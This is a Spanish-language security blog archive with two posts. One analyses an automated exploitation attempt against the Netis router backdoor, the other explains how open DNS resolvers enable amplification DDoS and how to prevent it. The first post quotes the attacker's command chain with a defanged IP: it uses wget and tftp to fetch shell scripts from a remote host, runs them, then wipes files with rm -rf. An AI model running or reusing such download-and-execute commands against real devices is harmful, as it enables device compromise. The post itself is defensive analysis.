Archivo de la etiqueta: vulnerabilidad

Análisis del intento de explotación de puerta trasera en router Netis

Router NetisEn 2014 se descubrió una puerta trasera en los routers de marca Netis que permitía el acceso desde su interfaz WAN (normalmente accesible desde Internet).

Hace una semanas llegó un ataque de explotación de esta puerta trasera, así que vamos a analizarlo en esta entrada. Obviamente se trataba de un ataque automatizado ya que recorrió una a una las direcciones IP públicas y no tengo ningún router Netis.

Como entenderéis he modificado el payload y las direcciones IP para evitar que alguien pueda hacer un mal uso 😉 Indicar igualmente que el ataque fue el sábado noche y cuando el lunes lo intenté analizar resultó que la IP ya no contenía los archivos indicados en la instrucción, así que no pude analizarlos. Como curiosidad indicar que la IP a la que se hacía referencia estaba ubicada en Brooklyn (Nueva York, USA).

En la captura inferior podemos ver que la petición, en formato HTML, consta de una carga previa de información (esta cadena ya está modificada) para posteriormente indicar las acciones que debe realizar el router (sección en lila).
Ataque Netis I

Sabemos que estos routers utilizan un sistema operativo Linux de base, así que revisemos las instrucciones (marcadas en lila) con un formato limpio (sin los caracteres de codificación HTML).

Ataque Netis II

Instrucciones del atacante

Ahora que ya tenemos un formato más legible, recordando que en los sistemas Linux el símbolo punto y coma (;) permite separar instrucciones que se ejecutarán una detrás de otra veamos qué peticiones hace el atacante al router Netis:

  1. wget http://10.10.10.10/akc.sh
  2. sh akc.sh
  3. rm -rf ack.sh
  4. tftp -r nfz.sh -g 10.10.10.10
  5. sh nfz.sh
  6. tftp 10.10.10.10 -c get nig.sh
  7. sh nig.sh
  8. rm -rf nfz.sh nig.sh akc.sh
  9. rm -rf *

Como vemos el primer paso (1) es descargarse el fichero «akc.sh» desde un servidor externo mediante protocolo HTTP para después ejecutarlo (2) y borrar dicho archivo (3).

Posteriormente podemos ver como se descarga mediante tftp (4 y 6) y ejecuta dichos archivos (5 y 7). Es curioso ver cómo utiliza dos formatos de instrucción diferentes para bajarse los archivos. Igualmente resulta curioso que la descarga del primer archivo sea mediante el comando wget mientras que los siguientes se realicen mediante TFTP.

Una vez termina la ejecución elimina los tres archivos descargados (8), aunque se supone que akc.sh ya lo había borrado antes (3).

Finalmente borra todos los archivos que haya en la ubicación (9) y sus directorios eliminando cualquier archivo temporal que se haya podido crear y borrando totalmente sus huellas.

Análisis del ataque

Atacando un router

Atacando un router.
Fuente imagen: We Live Security

Lamentablemente no pude hacerme con los scripts que se descargaba para analizarlos y ver qué hacían realmente, por lo que el análisis no puede ser más profundo y me tendré que conformar con las acciones indicadas en la propia URL.

El hecho de que utilice el comando wget para la primera descarga mientras que utilice tftp puede llevarnos a pensar que el primer script (akc.sh) realice la instalación del cliente tftp en el sistema. ¿Por qué sería preferible usar TFPT para el atacante para los siguientes scripts? Lo más probable es que la dirección IP desde donde se descargaba los scripts fuera un servidor web previamente infectado por lo que reduciendo el número de peticiones HTTP se reducen las trazas en los logs del servidor web que puedan descubrir la infección. Así que podría tratarse de un método para prolongar al máximo el uso de dicho servidor infectado.

Igualmente resulta extraño el uso de dos instrucciones diferentes (4 y 6) para descargar los scripts, lo cual nos llevaría a pensar que se ha reutilizado parte del código de otro script ya confeccionado previamente.

Cabe indicar que el orden de borrado de los scripts descargados es igualmente interesante: se preocupa de eliminar el primero de forma inmediata (3) mientras que los otros dos los deja para el final (8) e incluso lanza un borrado general del directorio (9). El hecho de que en la segunda instrucción de borrado (8) aparezca nuevamente el script akc.sh podría ser bien un fallo de diseño o bien un método para asegurarse el borrado de dicho script. Si pensamos que el atacante quiere asegurarse el borrado del script akc.sh debemos deducir que en dicho script se encuentra información que quiere asegurarse su eliminación (¿algún nombre de usuario o  contraseña?).

Al no haber podido analizar los scripts que se descargaba no podemos ver qué acción realizaba el router (¿unirse a una botnet?¿crear otra puerta trasera controlada por el atacante?¿propagar el ataque desde el propio equipo?), si bien queda claro por la última instrucción de borrado completo del directorio (9) que dichos scripts y cualquier fichero temporal creado no son necesarios una vez ha terminado el ataque.

¿Qué creéis que pueden ser estos script?

Evitar vulnerabilidad de Open DNS Resolver en nuestros servidores DNS

Se denomina como Open DNS Resolver a aquel servidor que resolverá cualquier petición recursiva de información sin importar el origen de la misma.

DNS logo

Fuente imagen: bleepingtech.com

El funcionamiento normal del protocolo DNS indica que si recibe una petición de un dominio que desconozca buscará dicha información (pidiéndosela a sus servidores DNS de referencia) y la entrega al cliente que la ha solicitado. Esto permite que cualquier ordenador pueda conectarse a cualquier sitio del mundo aunque no lo conozca previamente. El problema del Open DNS Resolver es que un tercero, que no tiene nada que ver con nuestra empresa, puede utilizar los recursos de nuestro servidor y nuestro ancho de banda para su propio beneficio. Ya no es sólo el mero hecho de asegurar la eficiencia del servicio al eliminar un uso externo ni previsto ni autorizado, sino que pueden utilizar nuestra infraestructura como parte de un ataque a un tercero e involucrarnos sin ni siquiera tener constancia de él.

Comparativa del tamaño relativo de una petición DNS válida y su respuesta

Comparativa del tamaño relativo de una petición DNS válida y la respuesta originada, que se envía a la víctima del ataque espejo. Fuente imagen: ArsTechnica

Los ataques de denegación de servicio mediante técnicas de espejo se basan en localizar la mayor cantidad de servicios no protegidos, a los que realizar peticiones aparentemente legítimas pero con la dirección IP originaría falseada por la de la víctima que quieren atacar. En nuestro caso un atacante solicitará la resolución de un nombre de dominio extraño, solicitando el máximo de información posible, de tal manera que la respuesta se envíe a la víctima. Este equipo víctima recibiría una gran cantidad de información desde diferentes fuentes de tal forma que sufriría un ataque DDoS. Si la víctima investiga el origen del atacante únicamente encontrará a los servidores DNS utilizados pero no el causante primario del ataque.

Cómo evitar tener un servidor Open DNS Resolver

Diagrama de un ataque de espejo

Diagrama de un ataque de espejo. Fuente imagen: Wikimedia

A continuación indicaremos las principales medidas de protección para que no nuestro sistema DNS no tenga esta debilidad y evitar así que se convierta en parte de un ataque DDoS en espejo:

  1. Deshabilitar la búsqueda recursiva. Tal cómo hemos indicado el propio funcionamiento del protocolo DNS hace que las búsquedas recursivas sean necesarias por lo que deshabilitarla no parece una opción práctica en la mayoría de situaciones. Quizás sí sea interesante si los servidores DNS públicos (aquellos que dan servicios a nuestras páginas web, sitios FTP, etc.) no son utilizados por nuestros trabajadores.
  2. Bloquear las peticiones externas. Al igual que en el caso anterior bloquear las peticiones externas, vía firewall o sistema similar, sólo sería útil si los servidores DNS son de uso interno exclusivo y son diferentes a los que dan servicio público.
  3. Limitar las peticiones de resolución con recursividad. La mayoría de sistemas DNS modernos permiten limitar desde qué redes es aceptable generar peticiones que incluyan resoluciones con recursividad. Así podemos configurar nuestro sistema DNS para que acepte las peticiones de las redes internas (las generadas por nuestros usuarios) mientras que descarte aquellas que provengan de redes externas que no controlemos. En la mayoría de empresas sería suficiente con indicar que sólo se permitan las direcciones IP de rangos privados.

Si bien las dos primeras opciones evitarían el uso de nuestros sistemas (tanto servidores, como anchos de banda, confiabilidad de nuestras direcciones IP, etc.) para formar parte de estos ataques es preferible configurar siempre las redes de confianza para realizar resoluciones con recursividad de tal forma que aunque debido a un fallo de configuración los servidores DNS quedarán expuestos a Internet tampoco pudieran usarse.